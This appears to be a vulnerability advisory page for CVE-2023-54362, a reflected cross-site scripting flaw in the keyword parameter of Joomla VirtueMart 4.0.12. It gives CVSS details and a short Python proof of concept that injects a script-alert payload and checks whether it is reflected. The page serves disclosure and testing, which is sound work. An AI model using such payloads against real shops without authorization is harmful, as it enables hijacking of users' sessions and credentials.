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CVE-2023-54362 CVSS 6.1 MEDIUM

CVE-2023-54362

Published: 2026-04-09 21:16:06
Last Modified: 2026-04-15 15:00:33

Description

Joomla VirtueMart Shopping-Cart 4.0.12 contains a reflected cross-site scripting vulnerability that allows attackers to inject malicious scripts by manipulating the keyword parameter. Attackers can craft malicious URLs containing script payloads in the keyword parameter of the product-variants endpoint to execute arbitrary JavaScript in victim browsers and steal session tokens or credentials.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Joomla VirtueMart Shopping-Cart 4.0.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target = "http://example.com/index.php?option=com_virtuemart&view=product-variants" # Malicious payload to test XSS payload = "<script>alert(1)</script>" # Inject payload into the keyword parameter params = {"keyword": payload} try: response = requests.get(target, params=params, timeout=5) # Check if the payload is reflected unescaped in the response if payload in response.text: print(f"[+] Vulnerability confirmed! Payload detected in response.") print(f"[+] Exploit URL: {response.url}") else: print("[-] Vulnerability not detected or payload was encoded.") except Exception as e: print(f"Error: {e}")

References

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